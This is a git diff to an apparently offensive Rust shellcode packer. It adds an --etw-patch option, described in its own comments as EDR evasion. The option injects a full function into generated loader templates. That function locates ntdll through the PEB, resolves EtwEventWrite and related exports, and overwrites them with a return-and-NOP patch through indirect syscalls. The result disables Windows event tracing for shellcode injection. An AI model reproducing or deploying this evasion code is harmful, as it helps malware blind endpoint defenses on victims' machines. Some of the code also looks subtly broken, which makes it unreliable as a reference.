diff --git a/rustpacker-core/src/config.rs b/rustpacker-core/src/config.rs
index 28337fa..cf9b377 100644
--- a/rustpacker-core/src/config.rs
+++ b/rustpacker-core/src/config.rs
@@ -50,6 +50,11 @@ pub struct Order {
     /// Requires -b dll and a self-injection template (ntapc, winfiber, ntfiber, sysfiber)
     #[arg(short, long)]
     pub proxy_dll: Option<PathBuf>,
+
+    /// Patch ETW functions to disable Event Tracing for Windows (EDR evasion).
+    /// Only available for self-injection templates using indirect syscalls.
+    #[arg(long)]
+    pub etw_patch: bool,
 }
 
 /// Execution techniques available for shellcode injection
@@ -103,6 +108,16 @@ impl Execution {
         )
     }
 
+    /// Check if this execution method uses indirect syscalls
+    pub fn uses_indirect_syscalls(&self) -> bool {
+        matches!(self, Execution::SysCreateRemoteThread | Execution::SysFiber)
+    }
+
+    /// Check if this execution method supports ETW patching
+    pub fn supports_etw_patch(&self) -> bool {
+        self.is_self_injection() && self.uses_indirect_syscalls()
+    }
+
     /// Get the template name for this execution method
     pub fn template_name(&self) -> &'static str {
         match self {
@@ -203,9 +218,39 @@ pub fn parse_args() -> Result<Order> {
         }
     }
 
+    if order.etw_patch && !order.execution.supports_etw_patch() {
+        let eligible: Vec<&str> = Execution::all()
+            .iter()
+            .filter(|e| e.supports_etw_patch())
+            .map(|e| e.template_name())
+            .collect();
+        return Err(anyhow!(
+            "ETW patching (--etw-patch) is only supported with self-injection templates using indirect syscalls. Current eligible templates: {}",
+            eligible.join(", ")
+        ));
+    }
+
     Ok(order)
 }
 
+/// Helper to get all execution variants for iteration
+impl Execution {
+    pub fn all() -> &'static [Execution] {
+        &[
+            Execution::NtQueueUserAPC,
+            Execution::NtCreateRemoteThread,
+            Execution::SysCreateRemoteThread,
+            Execution::WinCreateRemoteThread,
+            Execution::WinFiber,
+            Execution::NtFiber,
+            Execution::SysFiber,
+            Execution::EarlyCascade,
+            Execution::NtModuleStomping,
+            Execution::NtWatStager,
+        ]
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -225,6 +270,36 @@ mod tests {
         assert!(!Execution::EarlyCascade.is_self_injection());
     }
 
+    #[test]
+    fn test_execution_uses_indirect_syscalls() {
+        assert!(Execution::SysCreateRemoteThread.uses_indirect_syscalls());
+        assert!(Execution::SysFiber.uses_indirect_syscalls());
+
+        assert!(!Execution::NtQueueUserAPC.uses_indirect_syscalls());
+        assert!(!Execution::NtCreateRemoteThread.uses_indirect_syscalls());
+        assert!(!Execution::WinCreateRemoteThread.uses_indirect_syscalls());
+        assert!(!Execution::WinFiber.uses_indirect_syscalls());
+        assert!(!Execution::NtFiber.uses_indirect_syscalls());
+        assert!(!Execution::EarlyCascade.uses_indirect_syscalls());
+        assert!(!Execution::NtModuleStomping.uses_indirect_syscalls());
+        assert!(!Execution::NtWatStager.uses_indirect_syscalls());
+    }
+
+    #[test]
+    fn test_execution_supports_etw_patch() {
+        assert!(Execution::SysFiber.supports_etw_patch());
+
+        assert!(!Execution::NtQueueUserAPC.supports_etw_patch());
+        assert!(!Execution::NtCreateRemoteThread.supports_etw_patch());
+        assert!(!Execution::SysCreateRemoteThread.supports_etw_patch());
+        assert!(!Execution::WinCreateRemoteThread.supports_etw_patch());
+        assert!(!Execution::WinFiber.supports_etw_patch());
+        assert!(!Execution::NtFiber.supports_etw_patch());
+        assert!(!Execution::EarlyCascade.supports_etw_patch());
+        assert!(!Execution::NtModuleStomping.supports_etw_patch());
+        assert!(!Execution::NtWatStager.supports_etw_patch());
+    }
+
     #[test]
     fn test_execution_display() {
         assert_eq!(format!("{}", Execution::SysCreateRemoteThread), "sysCRT");
diff --git a/rustpacker-core/src/generator.rs b/rustpacker-core/src/generator.rs
index 500cb58..f96cfa4 100644
--- a/rustpacker-core/src/generator.rs
+++ b/rustpacker-core/src/generator.rs
@@ -155,6 +155,7 @@ mod tests {
             sandbox: None,
             output: None,
             proxy_dll: None,
+            etw_patch: false,
         }
     }
 
diff --git a/rustpacker-core/src/replacements.rs b/rustpacker-core/src/replacements.rs
index 19ed04c..298b086 100644
--- a/rustpacker-core/src/replacements.rs
+++ b/rustpacker-core/src/replacements.rs
@@ -110,6 +110,191 @@ fn add_api_obfuscation_replacements(replacements: &mut HashMap<&'static str, Str
     );
 }
 
+fn add_etw_patch_replacements(replacements: &mut HashMap<&'static str, String>, enable: bool) {
+    if !enable {
+        replacements.insert("{{ETW_PATCH_FUNCTION}}", String::new());
+        replacements.insert("{{ETW_PATCH_CALL}}", String::new());
+        return;
+    }
+
+    let etw_patch_function = r#"
+unsafe fn patch_etw() {
+    use ntapi::ntpsapi::NtCurrentProcess;
+    use winapi::um::winnt::{PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_READ};
+    use winapi::ctypes::c_void;
+    use winapi::shared::ntdef::NT_SUCCESS;
+    use rust_syscalls::syscall;
+
+    #[repr(C)]
+    struct PEB {
+        _reserved: [u8; 8],
+        ldr: *mut PEB_LDR_DATA,
+    }
+
+    #[repr(C)]
+    struct PEB_LDR_DATA {
+        _reserved: [u8; 16],
+        in_load_order_module_list: *mut LIST_ENTRY,
+    }
+
+    #[repr(C)]
+    struct LIST_ENTRY {
+        flink: *mut LIST_ENTRY,
+        blink: *mut LIST_ENTRY,
+    }
+
+    #[repr(C)]
+    struct LDR_DATA_TABLE_ENTRY {
+        _reserved: [u8; 32],
+        dll_base: *mut u8,
+        _reserved2: [u8; 24],
+        base_dll_name: *mut u16,
+    }
+
+    let peb_ptr: *mut PEB;
+    unsafe {
+        #[cfg(target_arch = "x86_64")]
+        {
+            let teb = std::arch::x86_64::_read_gs_base() as *mut u8;
+            peb_ptr = *(teb.add(0x60) as *mut *mut PEB);
+        }
+        #[cfg(target_arch = "x86")]
+        {
+            let teb = std::arch::x86::_read_fs_base() as *mut u8;
+            peb_ptr = *(teb.add(0x30) as *mut *mut PEB);
+        }
+    }
+
+    let mut current = (*(*peb_ptr).ldr).in_load_order_module_list;
+    let ntdll_name = b"ntdll.dll\0";
+    let mut ntdll_base: *mut u8 = std::ptr::null_mut();
+
+    while !current.is_null() {
+        let entry = current as *mut LDR_DATA_TABLE_ENTRY;
+        let dll_name = (*entry).base_dll_name;
+        if !dll_name.is_null() {
+            let mut i = 0;
+            let mut match_found = true;
+            while ntdll_name[i] != 0 {
+                if (*dll_name.add(i)) as u8 != ntdll_name[i] {
+                    match_found = false;
+                    break;
+                }
+                i += 1;
+            }
+            if match_found && (*dll_name.add(i)) as u8 == 0 {
+                ntdll_base = (*entry).dll_base;
+                break;
+            }
+        }
+        current = (*current).flink;
+    }
+
+    if ntdll_base.is_null() { return; }
+
+    type IMAGE_DOS_HEADER = [u8; 64];
+    type IMAGE_NT_HEADERS64 = [u8; 24];
+    type IMAGE_DATA_DIRECTORY = [u8; 8];
+    type IMAGE_EXPORT_DIRECTORY = [u8; 40];
+
+    let dos_header = ntdll_base as *const IMAGE_DOS_HEADER;
+    let nt_headers_offset = unsafe { u32::from_le_bytes((*dos_header)[60..64].try_into().unwrap()) };
+    let nt_headers = ntdll_base.add(nt_headers_offset as usize) as *const IMAGE_NT_HEADERS64;
+
+    let export_dir_rva = unsafe {
+        let data_dir_offset = (*nt_headers)[112..120].as_ptr() as *const IMAGE_DATA_DIRECTORY;
+        u32::from_le_bytes((*data_dir_offset)[0..4].try_into().unwrap())
+    };
+
+    let export_dir = ntdll_base.add(export_dir_rva as usize) as *const IMAGE_EXPORT_DIRECTORY;
+
+    let number_of_names = unsafe { u32::from_le_bytes((*export_dir)[20..24].try_into().unwrap()) };
+    let address_of_names = unsafe { u32::from_le_bytes((*export_dir)[32..36].try_into().unwrap()) };
+    let address_of_name_ordinals = unsafe { u32::from_le_bytes((*export_dir)[36..40].try_into().unwrap()) };
+    let address_of_functions = unsafe { u32::from_le_bytes((*export_dir)[16..20].try_into().unwrap()) };
+
+    let mut etw_functions = Vec::new();
+    let target_names = [
+        b"EtwEventWrite\0",
+        b"EtwEventWriteFull\0",
+        b"EtwEventRegister\0",
+        b"EtwEventUnregister\0",
+        b"EtwEventEnabled\0",
+    ];
+
+    for target_name in target_names.iter() {
+        for i in 0..number_of_names {
+            let name_rva = unsafe {
+                let names_ptr = ntdll_base.add(address_of_names as usize) as *const u32;
+                u32::from_le_bytes((*names_ptr.add(i as usize)).to_le_bytes())
+            };
+            let name_ptr = ntdll_base.add(name_rva as usize) as *const u8;
+
+            let mut j = 0;
+            while target_name[j] != 0 && unsafe { *name_ptr.add(j) } != 0 {
+                if target_name[j] != unsafe { *name_ptr.add(j) } { break; }
+                j += 1;
+            }
+
+            if target_name[j] == 0 && unsafe { *name_ptr.add(j) } == 0 {
+                let ordinal = unsafe {
+                    let ordinals_ptr = ntdll_base.add(address_of_name_ordinals as usize) as *const u16;
+                    u16::from_le_bytes((*ordinals_ptr.add(i as usize)).to_le_bytes()) as u32
+                };
+
+                let func_rva = unsafe {
+                    let funcs_ptr = ntdll_base.add(address_of_functions as usize) as *const u32;
+                    u32::from_le_bytes((*funcs_ptr.add(ordinal as usize)).to_le_bytes())
+                };
+
+                let func_addr = ntdll_base.add(func_rva as usize);
+                etw_functions.push(func_addr);
+                break;
+            }
+        }
+    }
+
+    for func_addr in etw_functions {
+        let mut old_protect: u32 = 0;
+        let mut size: usize = 16;
+
+        let status = syscall!(
+            "NtProtectVirtualMemory",
+            NtCurrentProcess,
+            &mut func_addr as *mut *mut c_void,
+            &mut size,
+            PAGE_EXECUTE_READWRITE,
+            &mut old_protect
+        );
+
+        if !NT_SUCCESS(status) { continue; }
+
+        let patch_bytes: [u8; 16] = [0xC3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
+                                     0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90];
+        unsafe {
+            std::ptr::copy_nonoverlapping(
+                patch_bytes.as_ptr(),
+                func_addr as *mut u8,
+                16,
+            );
+        }
+
+        let _ = syscall!(
+            "NtProtectVirtualMemory",
+            NtCurrentProcess,
+            &mut func_addr as *mut *mut c_void,
+            &mut size,
+            old_protect,
+            &mut 0
+        );
+    }
+}
+"#.to_string();
+
+    replacements.insert("{{ETW_PATCH_FUNCTION}}", etw_patch_function);
+    replacements.insert("{{ETW_PATCH_CALL}}", "patch_etw();".to_string());
+}
+
 /// Build the full replacement map for a given order.
 pub(super) fn build_replacements(
     order: &Order,
@@ -139,6 +324,7 @@ pub(super) fn build_replacements(
     }
 
     add_api_obfuscation_replacements(&mut replacements);
+    add_etw_patch_replacements(&mut replacements, order.etw_patch);
     Ok(replacements)
 }
 
@@ -191,4 +377,19 @@ mod tests {
         assert!(replacements.contains_key("{{API_KEY}}"));
         assert!(replacements.contains_key("{{OBF_NT_OPEN_PROCESS}}"));
     }
+
+    #[test]
+    fn test_add_etw_patch_replacements() {
+        let mut replacements = HashMap::new();
+        add_etw_patch_replacements(&mut replacements, true);
+        assert!(replacements.contains_key("{{ETW_PATCH_FUNCTION}}"));
+        assert!(replacements.contains_key("{{ETW_PATCH_CALL}}"));
+        assert!(!replacements["{{ETW_PATCH_FUNCTION}}"].is_empty());
+        assert!(!replacements["{{ETW_PATCH_CALL}}"].is_empty());
+
+        let mut replacements = HashMap::new();
+        add_etw_patch_replacements(&mut replacements, false);
+        assert!(replacements["{{ETW_PATCH_FUNCTION}}"].is_empty());
+        assert!(replacements["{{ETW_PATCH_CALL}}"].is_empty());
+    }
 }
diff --git a/templates/sysFIBER/src/main.rs b/templates/sysFIBER/src/main.rs
index 7d2826f..800cb09 100644
--- a/templates/sysFIBER/src/main.rs
+++ b/templates/sysFIBER/src/main.rs
@@ -4,6 +4,8 @@
 {{LITCRYPT_SETUP}}
 {{COMMON_MODULE}}
 
+{{ETW_PATCH_FUNCTION}}
+
 use std::ptr::null_mut;
 use std::time::Instant;
 
@@ -80,6 +82,7 @@ fn enhance(mut buf: Vec<u8>) {
 
 fn main() {
     {{SANDBOX}}
+    {{ETW_PATCH_CALL}}
 
     if !check_environment() { return; }